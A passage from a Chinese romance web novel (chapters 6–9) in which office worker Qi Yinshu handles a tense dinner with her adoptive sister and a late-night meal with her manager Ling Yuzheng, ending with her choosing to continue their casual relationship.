这一切让祁音书不太确定,通话里足足半分钟的沉默,到底是萧疏音没出声,还是她没听见。
她将手机更紧地贴在耳边,不再驻足原地,迈步向前走。
穿过安检口,她需要用手机扫码过闸机。便也不再等待萧疏音,主动问道:“还有别的事吗?”
“……没有。”
“哦,那我先挂了。”
立刻将屏幕放回眼前,摁下红色按钮,没有半点黏糊。
换作是早几年,她是最舍不得挂姐姐电话的人。但有些事,有些感情,过去就该过去,萧疏音逼她放下了。她没什么好留恋的,也有自己的新生活。
祁音书对着屏幕怔了半秒,眼里恢复平静,点开地铁app,调出二维码。
嘀——
身影走过闸机,一路向一号线走去。
回公司的一趟车很空,祁音书坐车厢里玩了三站星星大战,战况激烈,到站车门开了好半天,她才急急忙忙跑下车。
好险!差点被门夹!
祁音书脸上闪出一点慌张。
回到地下车库,祁音书低头找钥匙的时候,远远看见也正巧下班“走”来开车的余樱。
祁音书“诶?”一声抬起右手,想打招呼,可她发现余樱走路速度快得离谱。
不,都不能说是走,简直是在逃命。
余樱匆匆跑过她,像接力似的跟她击了一下掌,叽里咕噜丢下一串话就跑走了。
大概半分钟后,撞上两位领导,祁音书才破译余樱的密码——
“老板和凌经理在后面!快走啊!”
余樱也是很神奇的一个人,在公司,绝对是社交核心人物,绝对不怯场,但下班点一到,宁愿躲厕所十分钟,都不肯跟老板同一电梯下楼。
“是谓打工人的课题分离。”余樱科普道。
但总而言之,后知后觉的祁音书已经避无可避,她静止在原地,眼睁睁看着叶总和凌经理有说有笑地向她走近。
至于她为什么不趁人还没到先溜呢。
因为。
祁音书轻微舔唇,左手捏紧硌人的车钥匙。
右侧不断有下班的车辆经过,哗——哗——一辆又一辆地带过一阵短促的风。
她平静的双眼持续地与凌豫筝那含笑的双眼对视着。
祁音书不自觉地咽了咽喉咙。
凌豫筝的眼睛像是有某种魔力,牢牢控制着她的四肢。
就像第一次酒店的夜晚。
她进门紧张的瞬间,凌豫筝就看着她的眼睛,问她是不是骗人,根本不是自称的有过很多恋爱经验。
当时是她们第五次偶然见面,凌豫筝穿着一件绒绒的,白到发光的毛衣,像正义的天神一般审判着她,让她为自己拙劣的谎言不安。
她也像此时此刻这般,久久地被凌豫筝观察着,不敢动,甚至不敢肆意呼吸。
停车场内向她走来的人,在原本衬衣之外,又加了一件很休闲的麂皮外套,蓝色和深棕色撞在一起,衬得凌豫筝有种90年代的摩登复古感。
钥匙攥得更紧。
在祁音书眼里,那本该不起眼的小拇指上的银色尾戒,都在停车场的灯光下闪闪发亮。
如果要说她和凌豫筝有之前那般关系,没有任何对凌豫筝这个人的喜欢,是不可能的,不一定是爱,不一定是想成为恋人。
但凌豫筝之于她,她之于凌豫筝。一定都有某种相合的吸引力。
所以,祁音书认为,她现在这般为凌豫筝靠近而加速的心跳,是极其正常,不用觉得怪异的情况。
那二人的脚步终于停在祁音书面前,没有余樱在旁,她非常自然地扬起笑容:
“叶总,凌经理。”
“群群,你下午和原木的合作谈得怎么样?”叶漫宁先问。
祁音书的心动尚未平息,脸上游刃有余:“基本没问题了,明天再跟她们品牌部沟通一下双方权益。”
“喔,好。”叶漫宁竖起大拇指,“厉害!”
祁音书目光快速从没有讲话的凌经理脸上飘过,再看向叶总的眼睛:“叶总,凌经理,那我就先走了。”
“好,拜拜。”叶漫宁愉快朝她挥手。
凌豫筝却只对她颔首笑了笑,莫名拨得祁音书心痒痒的。
与凌豫筝擦肩而过,走过四五辆车,祁音书拉开车门,扶着门把呼了口气,将要坐进车内。
那只对她笑,一句话没说的人,悄无声息走到她身后。
祁音书先闻见熟悉的香味,再听见鞋底摩擦水泥地的最后一声轻响,她心念一动,略微转身。
凌豫筝抬起右手,将一个u盘举到她的眼前,小拇指上的银色尾戒比银色u盘更要吸引祁音书的目光。
她这才看见尾戒上刻着一串英文字母,只不过她不敢细看。
凌豫筝头顶上有一个直射灯,一般这样的一束灯光压在人的脸上,会显得人五官不那么正常。
但顶光落在凌豫筝的额头上,鼻梁上,变成更细腻的质感,让祁音书又忍不住想起,那处凌豫筝审判她的酒店玄关。
识破她的谎言,凌豫筝笑着说算了,要走,她一时情急,拉住凌豫筝的手腕——“姐姐!”
对方看眼她们交执的手,再看她的眼睛,祁音书深呼吸,“对不起,能继续吗?”
她压抑了几年的好奇和渴望,难得大胆,很幸运碰上不用多说只眼神交汇就了然的同类,但实在不懂怎样的形象能让这位比她成熟的同类满意。
她渴望一些成长,却又是彻头彻尾的学徒。
直到凌豫筝带她躺在床上,一步步教她,亲吻但没有接吻,她感受到全身的战栗,骨头缝隙之间的酥麻。
她没忍住,抓紧凌豫筝的小拇指。
“谢谢你的u盘。”凌经理大概见她有点恍神,特意再抬抬手,提醒她。
明明不是很着急的东西,下午她在微信里,也给凌豫筝说了,这u盘都是过往的一些资料,重要但日常不太使用。
是可以明天再还她的。
祁音书默默拿起对方手心里的东西,冰凉,她很难猜测凌豫筝的意图,便以守为攻,垂眸,淡声回到:“不客气。”
凌豫筝非常明显地笑了一声,竟不再有别的动作,潇洒转身,快步离开。
脚步声远去,祁音书才又转身,向外走出几步,远远眺望凌豫筝的背影。
看凌豫筝和叶总分别走到一辆墨绿色minicooper的左右两侧,叶总上副驾,凌豫筝进主驾。
车也是祁音书见过的,她以前有随口问凌豫筝,不会觉得车的空间太小吗?
凌豫筝说觉得,但停车方便,开习惯了,懒得换。
如此想着,那辆墨绿色的小车驶出车位,悠悠然消失在地下车库中。
所以。
凌豫筝有可能只是晚上一定想跟人吃顿饭。
是不是我都行。
那拒绝她,也不用过意不去了。
祁音书调整思绪,不再多想,转身回去开车。
萧疏音约她在太古里的一家西餐厅吃晚餐。
祁音书随服务生向临窗卡座走去时,在座位上等待的人正忙着对笔记本敲字。
蓝色衬衣,棕色皮衣,远远看着,竟和凌豫筝的穿着完全相似。
祁音书的脚步有半秒迟疑。
好在那人适时转头看来,是眉眼都更冷的萧疏音。
祁音书松口气,心想,确实也不至于,凌豫筝有天大的本领,也不可能出现在这里。
走近,姐姐的冷棕色长发更加明显,完全不是那位在酒店亲吻闲聊,还要勾着她发丝,宣扬“少染发更健康”的凌豫筝。
她坐下,萧疏音合上笔记本,将菜单册推向她:“看看想吃什么。”
祁音书翻开,随意点了两个菜,将东西还给服务生。
接下来的几分钟,她都在低头抿气泡水,明知道对面的人在注视她,她也没有抬眼。
餐盘被摆放来桌上的时候,她听见对面终于出声,一如既往姐姐的音调:
“我下午和阿姨打了通电话,她说这个月不回来。”
祁音书放下玻璃杯,抬头,目光擦过姐姐如森林湖面一般平稳的瞳孔,看向姐姐的右后方:
“嗯,我知道,妈妈跟我说过了。”
桌上手机震了震。
祁音书拿起看。
【好像看见你的车,你也在太古里?】
【/小猫挥手哈喽动画表情/】
7、第七章
见鬼了。
这家西餐厅的停车场就在玻璃窗外,完全露天,甚至从祁音书坐着的地方,能看见她自己的车。
她瞳孔对着凌豫筝发来的表情包微微放大。
随后神经质地撇头,目光左右搜寻,企图找到凌豫筝的踪迹。
尽管她和凌豫筝不是绝对不能在外见面的关系,可姐姐正坐她对面,姐姐还是个细心过头的人,她仍然害怕姐姐会从细枝末节,看出她与凌豫筝之间的异常。
萧疏音非常厌恶这类感情。
几年前那场突然爆发的争吵还历历在目,祁音书可不想相同的场景再经历一次。
她被厌恶事小,别连累凌豫筝也遭受冷眼。
祁音书没看见给她发信息的人,心里略微着急,也没管对面萧疏音表情有多难看,低头快速在手机里打字。
【你在哪里?】
嗡嗡,对方秒回一个定位。
祁音书紧绷的神经瞬间松开,定位地址是一家云南菜馆,虽然大区域也算在太古里商区,但距离祁音书此刻所在的位置还有一段不近的路程。
步行至少十五分钟。
她应该不用担心凌豫筝突然出现了。
淡定放下手机,她抬眼看对面沉默已久的萧疏音,对方低着头,专心切刚上桌的牛排。
微微泛粉的牛肉纹理,被刀尖连续不断地划开,祁音书看了会儿,刚想拿起刀叉。
“不用动。”萧疏音平声说,“我给你切好。”
她没有理会,仍捏起手边的刀,对面的人也很固执,加快动作切完最后一划。
强行抽离她眼皮子底下的餐盘,将为她切好的肉置换到她面前。
祁音书抿着唇,一时有些气闷。
很小的时候,妈妈祁芸将萧疏音带她眼前,说是朋友的女儿,家里出了些状况,之后就一起生活吧。祁音书很高兴就接受了当时看上去很内向的姐姐。她的妈妈是驻外记者,常年离家,工作非常繁忙,因此,在祁音书的记忆里,成长烦恼基本都是和萧疏音这位姐姐分享。
她一度将姐姐的地位排到了并列第一。
但再亲密的关系,都会被时间瓦解,祁音书将所有一切归结为,两个人都长大了,她和萧疏音的性格不再合拍。
就连萧疏音习惯地对她照顾,在她看来,也不再美好。
毕竟那次争吵伤人的话都说尽了,简直像后悔认识她,萧疏音成熟,能几天后就没事人一般地送她进大学。
她却不成熟,很记仇,憋着一股气,再也没办法粘着萧疏音说姐姐我好想好想你喔。
大概气的还有,萧疏音明明能看出她的冷漠,却要装没事人,与她维持表面和平。
新年一起陪妈妈逛菜市场,演其乐融融的姐妹俩,还要跟她讲,群群,你们永远是我最重要的家人。
也会用牙签叉起一块刚切好的腊肠,在妈妈欣慰的目光中,很真挚地喂给她。
“群群,再不吃就凉了。”
换走的那份牛排也被切好,在西餐厅浪漫的灯光下,两个相对的餐盘被冰冷的气氛凝结。
诱人的红色,规矩的白色。
祁音书看眼对面的人,垂下目光,还是乖乖地不浪费食物,叉起,放进嘴里,食不知味。
从小到大,萧疏音就话少,这几年祁音书也不爱主动讲话。
每顿饭都吃得像在进行礼仪训练。
嗡嗡。
她手机又震动。
擦嘴,拿起看,这回不是凌豫筝。
余樱在群里at她。
【@uhsniyiq群群,我们组小朋友扒到凌经理的履历了,我觉得你不用怕,她肯定不敢随便动你!】
祁音书皱眉,刚打下一个问号。
江组长抢先发言:【有什么说法?】
【她去年年初才跳迷多,之前都在默克,听说是研究生毕业直接校招进去的,呆了八九年?反正是药企嘛,论快消行业专精度,肯定没有咱群群高啊。】
一组组长冒出来:【/捂脸/上海那个默克啊?听说福利蛮好的,前景肯定也比在这里强吧,干嘛想不开跑回来?】
江组长:【哈哈哈快消行业专精度,听听就得了,我们这小小的位置说被换就被换,大学生一样能顶掉老员工。】
余樱:【江老师你也太悲观了吧!】
话题立刻从凌经理履历跳到三位组长的忆青春环节,祁音书想了想,感觉这个话题有她没她都行,便切出了聊天框。
又一次在预览窗看见凌豫筝给她发的定位:【[位置]火味云南】
哦。对。她忘记回凌豫筝了。
但这要回什么比较好。
她瘪嘴,眼睛盯着餐盘边的一串西语刻字思考。
“群群,你今天好像很忙。”萧疏音笑道,“不会恋爱了吧?”
仿佛神经中一条细丝线被手骤然扯紧,祁音书后脑勺麻了一秒,下意识抬头看对面人的表情。
萧疏音没看她,端起高脚杯,抿酒,似是无聊之下的随口问话。
输入框光标闪烁。祁音书的拇指不再有动作,手机锁屏,摆到桌面上:“工作的事。”
“昨晚好像也说是工作的事。”
祁音书知道对面的人看似表情随和,实际在暗暗逼问她,就好像高中,她图有趣和同学偷偷翘晚自习。
回家竟碰上放假的姐姐坐客厅里,她不怕翘课被老师知道,被妈妈知道,唯独怕萧疏音知道。
估计是不想辜负祁芸的信任,萧疏音对她格外上心。当时,也是像这样,一步一步,平静的态度却逼到她哭着内疚,承认自己没上晚自习。
可萧疏音这么聪明。
应该要知道,她所有一切的示好,害怕,内疚,渴望,都纯粹源于爱。
没有爱。
萧疏音不能拿她怎样。
“的确是工作的事。”祁音书冷静说着,冷淡站起身,“我吃好了,领导在附近吃饭,我去打个招呼。”
她作势要走。
“祁音书。”
终于不再压着,声音里又有早晨那显而易见的情绪。
她便回头看着生气的人,二人目光静静对了会儿,对方又熄火了,长长叹口气,别开脸,提醒她,“注意安全,早点回家。”
真是让人堵得慌。
祁音书拎包走出西餐厅,一路越走越快,先前在餐厅里伪装的淡然也破功,气冲冲的,结果被一颗小石子绊了一下。
吓得心跳猛然加速。
往前快跌了好几步,才勉强稳住,尴尬使她的双颊发烫,心底的火气却这样意外地被泄掉了。
“呼——不气不气不气。”身边没人,祁音书自个儿嘟囔了几句,安慰自己。
她心有余悸,特意放慢脚步走向她的车,见块指甲盖大小的石头都要绕两步,主打一个绝对不要在同样的地方跌倒第二次。
顺利上车,启动向外开的时候,祁音书又有点茫然了。
她也不能直接开车回家,肯定会和姐姐正面撞上,而且姐姐在家,她也不想太早回去搞得两人又不愉快。
所以怎么办好呢。
嘀——“祝您一路平安”,挡杆升起。
碰上街道绿灯放行,祁音书踩刹车,先等待车前的行人和自行车经过。
对了。
她拿起手机,准备回一下又被她搁置的凌豫筝的消息。
聊天窗口变成来电显示。
一串陌生号码。
祁音书划掉,拒绝接听。
再切回微信,准备打字。
同一个陌生号码来电。
归属地是新蓉市,本地号码?
祁音书想了两秒,接听,凌豫筝声音响起:“我在你车边,方不方便跟我吃个夜宵?”
啊?
祁音书向左看,没看见,再向右看,隔着黑色贴膜,她看见凌豫筝精准地对她招手。
莫名其妙就让人上了车。
祁音书扶着方向盘的五指收紧,开出好一段路,才问:“凌经理,您没开车吗?”
“嗯,想着要出来吃饭,会喝酒,就留在公司了。”
哈?骗人!我亲眼看见你开走的!
祁音书眉心蹙紧,抿唇拼命憋了会儿,才没把内心话飙出口:“哦,好像是有点酒味。”
“青提茉莉,味道还不错。”凌经理自然答道。
谁问了。祁音书有点无奈。
有一次,她们约完,两人都不习惯在酒店过夜,像陌生人一样一前一后下楼开车。到车场,发现凌豫筝那车的车胎瘪了。原本她可以自己开车先走,凌豫筝打车就是了。
偏偏两人的车是面对面停放。
她上车,扣好安全带,播放音乐,凌豫筝送她听的cd碟,说有静心凝神的功效。
再看看对面倚在车门边,低头看手机的凌豫筝,觉得好像不可以那么无情。
她就让凌豫筝上车,送凌豫筝回家。
仅仅那么一次而已。
此刻,车在十字路口停住,她转头想问凌豫筝我们去哪儿啊,看见后者神情轻松地用眼睛扫描她的车内。
“比上次多了个挂钩。”
凌豫筝指的是副驾箱盒前,一个粉红蛋糕的小挂钩,指尖点了下,笑着来看她,“谁送的?”是那种带着打趣意味,可以说十分八卦的语调。
就差问“是不是喜欢的人送你的”。
祁音书收回目光,直视前方:“和同事点奶茶,买两杯送挂钩。”
“哦,余樱吗?”
“嗯,我们去哪儿吃夜宵?”
“你和余樱关系看上去确实不错。”凌豫筝说,“开会的时候,她只跟你说悄悄话。”
祁音书呼吸一紧,连忙为余樱解释:“没有,ppt是我做的,她问我不明白的问题而已。”
然后,她听见凌豫筝那低低的轻笑:“都下班了,我没有那么工作狂,还要质问你上班的事。”
祁音书瞥了眼凌豫筝的侧脸,那悠闲的人降下车窗,右手肘撑在窗框上,风吹动那漂亮的黑发。
祁音书又问:“想吃什么?你总得给我一个目标地点吧。”
“想吃——”那尾音远远拖长,“你?”带着好恶作剧的笑。
给祁音书说得一愣,心也空了一拍。
片刻,凌豫筝大笑,升起车窗,声音又变得近了:“哈哈哈,跟你开玩笑的,去石板街吧,那有一家烧烤还不错。”
8、第八章
【/航班信息截图/】晚上九点四十五,新蓉飞上海的航班。
【家里开瑞坦过期,我帮你丢掉换了新的,放在老地方。】
【我回上海了,你早点回家,注意安全。】
三条信息同时发来,不像是一条条敲下,更像是在别的地方深思熟虑后,一股脑转来。
祁音书看着姐姐发来的消息,心中竟然涌现一丝愧疚,反思她这两天的抗拒态度是不是太过分了。
她慢慢敲下一行字:【不是说要在家住几天吗?】
不。
没必要了。
她删掉所有文字,只回:【好,你也是。】
她毅然退出对话框,无意义地上下滑动几下,锁屏,手机放回折叠木桌上。
对面凌豫筝捏着一张纸质菜单,左手握铅笔,不时勾画,在她微微叹气后,眼都没抬,就问她:“怎么,和家人闹矛盾,心情不好啊。”
奇了怪了,凌豫筝在她脑海里装窃听器了?这都能猜到?
她太惊讶,没吭声,凌豫筝飞速看她一眼,又低头,继续选菜:“想开点,自己心情好最重要。”
祁音书不知道该接什么,只小声地“嗯”了一下,转脸,看着马路对面一排密密麻麻的蓝色共享单车。
石板街的烧烤摊,碳火烤,露天座位,四周不乏只穿着毛绒睡衣就出来喝酒聊天的人,基本都讲新蓉市方言,热热闹闹,能看出这家是居民楼间的老字号。
祁音书放空听着周遭细碎的闲聊声,那纸质菜单被举到她眼前,上下轻飘飘地晃晃。
“喂,别发呆了,想吃什么,你自己点。”
她转回来,接下凌豫筝递她的纸和笔,捏着,皱眉看画满整张纸的圆圈。
凌豫筝没吃饭吗?这么多她们能吃完?
她不可思议地抬起头,看坐她对面玩手机的人。
感应到她的视线般,凌豫筝放低手机屏幕,对她疑惑地眨眨眼:“嗯?”
蓝色衬衣,棕色外套,前后相隔不到半小时,这诡异的既视感。乍一看,凌豫筝和她姐姐的五官都有点令人咋舌的相似。
这不由让祁音书想起一个理论,如果家庭和谐,人很容易再次爱上和自己家人相似的人。她会对凌豫筝产生一拍即合的好感,该不会是因为,她有情感转移。
她发愣,凌豫筝看她,看菜单,扬扬手机:“没事,你放心点,吃不完我打包回家。”
祁音书咬了咬下唇,停止乱七八糟的联想,凌豫筝就是凌豫筝,不是任何人,她当初遇见凌豫筝的时候,也没有觉得凌豫筝像谁。
况且,她也没有爱凌豫筝,只是好感,气场相合的好感。
如在西餐厅一样,祁音书也是敷衍地随意划拉两下,起身,想拿去给老板。
“等下。”凌豫筝喊住她,勾勾手指,“菜单我再看看。”
“哦。”祁音书自然走到凌豫筝身边,等待。
凌豫筝换右手拿铅笔,在食指和中指指间晃晃,菜单就是很简单的正反两页,也不知道看什么能看这么久。
久到祁音书开始无聊,转身去望着不远处那不断升腾的烟雾。
“群群。”有人碰碰她手背。
“啊?”她立即回头看。
凌豫筝坐着,仰头对她笑:“菜好像是有点多了,你要不坐下,我们一起看看,删掉几个。”
祁音书点点头,将凌豫筝身边的折叠凳稍微拉开点距离,坐下:“你怎么知道我叫群群?”
“公司同事们都这么叫你,我听力还挺好的。”凌豫筝抬了下凳子,又拉近与她的距离。
两人小臂碰在一起,凌豫筝左手拿菜单,举到她身前,脑袋也靠近她,发丝几乎和她的发丝缠绕在一起。
“你觉得我不要虾饺好,还是不要掌中宝好?”像相识多年的朋友一样询问她。
都不是她选的菜,那不要哪个,不应该是选菜的人自己决定吗。祁音书鼻息间全是凌豫筝身上的香气,她侧去目光想看凌豫筝,却对上凌豫筝耐心等待的视线。
“给我点意见吧,我好纠结啊。”可能因为二人有过更亲密的行为,即便此刻她们鼻尖快要碰到彼此,凌豫筝都没有要向后躲的意思,反倒对她笑。
祁音书败下阵,手胡乱指其中一个:“那,那就不要虾饺吧。”
“嗯,好。”凌豫筝坐正身体,翻转铅笔,用笔尾的橡皮擦抹掉原先勾选的痕迹,“你没选几个菜,小排骨,土豆片,玉米粒,你的这三样就不删了。”
祁音书又一次诧异,一整页都是圆圈,菜名与菜名之间靠得近,灯光又暗,凌豫筝居然能这么快就分清哪些是她点的?
她这回忍不住问:“你怎么知道我点了这三样啊?”
凌豫筝笑了笑,说:“你画的圈比较可爱。”
祁音书咳了声,真噎得咳了声,感觉自己像个小孩一样被凌豫筝耍得团团转。
凌豫筝改完菜单,没给她,起身交去给烤摊老板。
过会儿,凌豫筝拎两瓶冰可乐回来,摆桌上,笑眼弯弯地说:“我记得你这两天能喝冰的对吧。”
太夸张了。凌豫筝每天记得这么多事情不会累吗。她明明记得凌豫筝说,工作累,所以生活就丢三落四,不想记太多东西。
到底哪句真哪句假。
“嗯,能喝。”她点头。
咔嚓、咔嚓,两罐可乐被拉开,放吸管,凌豫筝递给她,主动与她碰罐。
“干杯,先单独跟你这个组长聚会了,多谢你今天给我提供资料。”凌豫筝温和地保持笑容。
好似她们关系真的就是普通上下级。
祁音书无话可说,心中隐约觉得她们这样相处好奇怪。
如果是酒店关系,就该在酒店见面。
如果是职场关系,就该在公司见面。
单独坐在烧烤摊吃夜宵,总感觉关系有点变味,但她并不想这么快跟凌豫筝发展更深的感情。
“凌经理。”她放下可乐,出声。
“嗯?”
祁音书斟酌两秒,尽量平和地陈述:“我觉得以我们现在的关系,不太适合这样单独出来吃饭,我暂时也没有想谈——”
“小祁,你想太多了。”凌豫筝打断她,声音还是很温柔,“我的确挺喜欢你的,但我和你一样,没有要谈恋爱的打算。”
伸手拍拍她肩膀,“我不是跟你说了吗,别紧张,放轻松,就是怕你这样,今天才特地找你吃夜宵。”
是真话吗。祁音书不确定。
她眉毛微微压着,想要从凌豫筝的眼里找到答案。
就像她们第一次结束后,没有互相留号码,可她居然在她家附近的便利店,反复遇见凌豫筝。
从未有过的事。
当然,也可能是因为她认识了凌豫筝,才会注意到凌豫筝。
到某天实在太频繁遇见,她结账后,站门口等凌豫筝,对方出来看见她,居然惊讶:“你——”对,那个时候,凌豫筝不知道她名字。
“姐姐,我们好像挺有缘的。”她转正面对凌豫筝,露出笑容,“你还有没有兴趣再教我一次?”
凌豫筝没讲话。她便忐忑地想从凌豫筝的脸上找到答案。
凌豫筝手上提着一袋山竹,一分钟左右,那塑料袋哗哗响动,提起的山竹举到她眼前:“行,那今晚就一起吃吧。”
那晚她们直接去了酒店,山竹吃了,关系也建立了。
而后,她就再也没在便利店碰见凌豫筝。
有时也会觉得,她像是凌豫筝的猎物,她以为是她捉到了凌豫筝,其实是凌豫筝捉到了她。
但怎么样都好。
那种关系里,她无所谓对方的企图,也敢大方袒露自己的欲念。
她不想失去那种感觉。
“小祁,我也不想失去自由。”凌豫筝看着她的眼睛,非常认真地说,“恋爱意味着我们要付出更多心思在对方身上,也会诞生非常多不好的情绪。我们之前在酒店不是聊过吗,我们身体合拍,也是彼此的秘密树洞,没必要因为一点小意外,就破坏这些,我们只需要将现实和梦幻分离开就好了。”
“公事公办,不会是很困难的事情,你觉得呢?”
漆黑的夜空下,是一瓦瓦灰暗的灯泡。
凌豫筝的眼里有爱意,话却分割得理智。她有因为凌豫筝的这番话慢慢卸下心防,而就在她紧绷唇角松懈的一瞬间,凌豫筝伸出手,拇指压着她的下唇,轻微略过。
“不过,你在公司严肃的样子真的——”凌豫筝收手,微笑,“非常可爱,让我忍不住想跟你多说几句话,逗逗你。”
祁音书立刻皱眉:“凌经理。”
“就今天一天。”凌豫筝竖起食指,“意外情况嘛,我也还有点不适应,才想约你出来问问你的想法。你要是能接受我的说法,之后,我们——”
凌豫筝顿了顿,笑道,“还可以继续,我感觉你还是挺喜欢我的,对吧?”
祁音书脑子有点说不上来的卡顿。
她低头,窘迫地拿起一根竹签,压根不饿也往嘴里塞,含糊道:“嗯。”算是默认。
不过即便说开,两人也没有约定下一次何时在酒店见面。
坐上车,祁音书凭借记忆,输入上次凌豫筝家的地址,准备导航。
“不是这个,我前段时间搬家了。”
还没系安全带的凌豫筝,凑近导航,快速输入几个字,弹出窗口,选中其中一个。
祁音书太久没有导航这个地址。
前两秒还没反应过来。
到“御河新城”四个大字反复在她脑海里跑圈的时候,她才想明白这是她家小区,于是发出了今天最大的音量:
“什么?!你住这里?!”
9、第九章
“嗯,离公司近,刚租过来,怎么了?”
凌豫筝神情非常平静。
衬得祁音书过于大惊小怪,她不自然地别开视线,眨了下眼睛,转正脸,慢吞吞在拉安全带:“哦,没事。”
“我知道你也住这个小区。”凌豫筝主动挑破她的心事。
祁音书拽着安全带的手顿住,过两秒,机械地转头看向隔壁座的人。
哪想凌豫筝竟一手撑着中台,上身前倾向她,鼻尖几乎要碰到她的脸上。任谁看都是暧昧至极,随时要接吻的状况。
那细框眼镜幽幽折射着车内的灯光,让祁音书有点不敢直视镜片后,那双带着笑意的瞳孔。
她难免紧张,想张嘴,决意摧毁这个不该出现的如热恋情侣一般的氛围。
哪想凌豫筝十分正经地告知她:“祁音书,既然我跟你约定过了,就不会企图窥探你的生活。”
说完,那撩动车内气氛的人主动向后倚,坐回副驾,看着前车窗,声音变得冷淡和平稳,“当然,我也会对我的生活保密,这是我们维持关系平衡的基本原则。所以,一会儿到家,你把我放在小区门口就好了。”
祁音书看着凌豫筝的侧脸,缓缓释出一口气,垂眸,平静了几秒,坐正。
“好,我知道了。”
这次她迅速扣紧安全带,关闭车内灯,神情十分冷然地将车开出停车位。
车子驶入大路,于中间车道跑了好几分钟,二人都没有讲话。
开车的人始终冷脸直视前方,坐车的人也只撇头凝视窗外。一路灯光明明灭灭,越过玻璃,一帧一帧落在她们的脸上。
到第三个红绿灯口。
祁音书调整完心情,想起凌豫筝没开车这点,转头破冰:“你今晚没开车回家,明早怎么去公司啊?”
凌豫筝没回头,只给她一张侧脸,声音倒是又带上笑意:“你打算好心搭我上班吗?”
“什么?”她有点愣住。
凌豫筝这才转头看她,目光好似在她脸上打量了一圈:“哦,看来你是随便问的。”
“……呃,如果你明早确实不方便。”祁音书下意识道,“顺路搭你一次也可以吧。”
这不经思考的话一出,她身体里有股热气直冲头顶,烫到她的头皮。
而她隔壁座的人,也仿佛为她的话纳闷,盯着她的脸,久久没有出声。
祁音书被看得心底毛毛的。
幸好这时绿灯亮了,她赶紧将脸转回,注视前车逐渐熄灭的后灯,然后随着大部队继续驱车向前。
看着前车屁股,祁音书有点后知后觉的懊恼——怎么就脑袋一昏要搭人家上班了?
明明需要维持关系平衡,控制私下社交距离是最重要的事情。
一起上班,完全不对劲吧?有一次就有第二次,到时候再后悔,肯定来不及。
只能说,好在凌豫筝并没有立刻给出答覆。
想到这,祁音书忐忑地向右瞄了一眼,那原本轻松后靠眼睛望窗外的人,姿势变成双手环身前,感觉神情正若有所思地在苦恼。
祁音书捏紧方向盘,琢磨她该不该收回刚才的胡话,旁边的人终于出声了。
“谢谢,明早还是不麻烦你了。我刚搬过来,乘一次地铁上班,也算熟悉熟悉路。”
凌豫筝是好人,聪明的好人,给她台阶下。
祁音书心底松口气,但也有一点她自己都想不明白的遗憾。
不过她很快就忽略了那一丝丝的遗憾,真心笑道:“嗯,也对,早点熟悉,免得你以后临时遇上不能开车的情况。”
凌豫筝淡淡地笑了一声,算作对她的肯定。
接下来一段路,祁音书想起来播放cd碟,车内气氛不再那么僵硬。但二人毕竟不算朋友,身份又刚转换成上下级,实在没话题聊。
夸了句凌豫筝送的cd好听。
问了句凌豫筝晚上吃的云南菜怎么样。
但对方可能是累了,声音低低的,给她的回答也是,嗯好听就行,嗯味道还不错。
祁音书当然听得出这是一种对方想要停止闲聊的信号。
对于凌豫筝突然冷淡的态度,她没往心里去,觉得这人累也正常,便不再说话,给对方一个安静的夜晚,将车一路开到小区门口。
御河新城正门不准停车,她降速滑过公交站,沿边停靠。
完全停稳,她转头想跟凌豫筝道别,见对方碰巧在回信息,就移开目光,看副驾箱盒前那个粉色蛋糕。
凌豫筝真是,记性好,观察力好,连她车里多了个挂件都能注意到。她出神想着。
咔嚓——
手机锁屏声。
凌豫筝低头解开安全带,手抚上车门,将要开门时停住,沉声喊道:“小祁。”
“嗯?”
“我再确认一次。”凌豫筝说着,转头看回来,“你诚实告诉我,我们目前的关系,你还想不想继续?”
祁音书抿唇,没有第一时间接话。
凌豫筝又补充,“如果你心里有压力,我们可以立即结束。你放心,我不会因为私事影响我们彼此的工作。”
“答案,你可以想清楚再告诉我。”
凌豫筝拉开车门,“我先走了。”
砰——
车门被关上。
祁音书静静看着凌豫筝经过车身,向右,从人行通道走,直至背影完全消失在夜色中。
她睫毛垂下,看向已经没人的副驾座椅,伸手,想要抚摸,又收拢五指。
一个人坐在车上想了好一会儿,才重新启动车辆,开进小区。
她住在进门右手的第一幢,九楼三号。
钥匙拧了两圈,打开家门。祁音书借着月色换好拖鞋,走两步,摁亮客厅的灯。
看见饭桌上那并拢倚靠的两个空玻璃杯。
她脸上有了点波动,低头找出手机,很快点进微信。
被她屏蔽通知的置顶聊天框,有两条未读消息。
【落地了。】
【你回家了吗?】
最后一条也已经是半小时前发来的。
祁音书快速打字,发过去一句“回家了”,而后咬着手指,等待萧疏音可能打来批评她的电话。
等了近十分钟,没动静。
她看眼手机时间,感觉可能是真的太晚,对方已经懒得等她,先休息了。
祁音书放下手机,回头环视一圈死寂的客厅,茶几上还摆着两袋新鲜水果,看上去是橙子和梨。
她又想起晚上那会儿,萧疏音发她的消息,便走去立柜,拉开存药的抽屉。
一盒崭新的过敏药摆在其中。
心情很复杂。
她缓缓推合抽屉。
大约半小时后躺床,已近凌晨一点,她白天没喝咖啡,没喝茶,闭上眼睛却怎么都睡不着。
想那盒药,想那份被切好的牛排。
她烦躁地翻了个身,脑海里又变成早晨那意外的相撞,会议里抱歉的短信。
那个u盘,那个尾戒,那被凌豫筝点了一下的粉色蛋糕。
漂亮的指尖,剥山竹的时候比她厉害多了。
双手捏紧外壳,一压,顺着裂缝一路旋转,那山竹的壳就被凌豫筝分作两半。
她剥一颗手指弄得好脏。
凌豫筝的手指却还是干干净净的。
凌豫筝喂给她吃,听她说从来没有吃过山竹。凌豫筝笑道,是吗。
笑着的双眼里戴着那种灰蓝色的美瞳,水汪汪,光是看着,想象着,都比她嘴里的山竹还要甜。
而后凌豫筝特别自然地笑说:“那你以后岂不是看到山竹,就会想起我了?”
她还没回话,下一瓣山竹就塞进她嘴里。
凌豫筝香甜的指尖拍拍她的脸蛋:“挺好的,今晚多吃点吧。”
疯了。
越想停住思考,乱七八糟的画面就越在她脑子里快闪。
祁音书闭紧双眼,用力到恨不得把眼皮都缝上,凌豫筝的那张笑脸还是永无止境地在她眼前出现。
口渴。
想起凌豫筝吻她的感觉,边在她身上动作,边耐心教她,这里该怎样亲,那里该怎样摸。
祁音书一个人躺在漆黑的房间里,胸口起伏愈发加快。
糟糕至极。
光是想起那些片段,她身体就自动有了应激反应。
想不想继续。
当然想。
不然,她也不会让凌豫筝上车,吃一顿没怎么讲话却持续到深夜的夜宵。
她想被凌豫筝亲吻,也想亲吻凌豫筝。
没错。
我想。
祁音书松开所有挣扎的力气,疲倦地睁开眼,看着天花板。
几分钟后,她拿起手机,点开那个仍被备注为“x”的微信。
【继续。】她没有犹豫,发出去。
嗡嗡、嗡嗡。
【ok。】
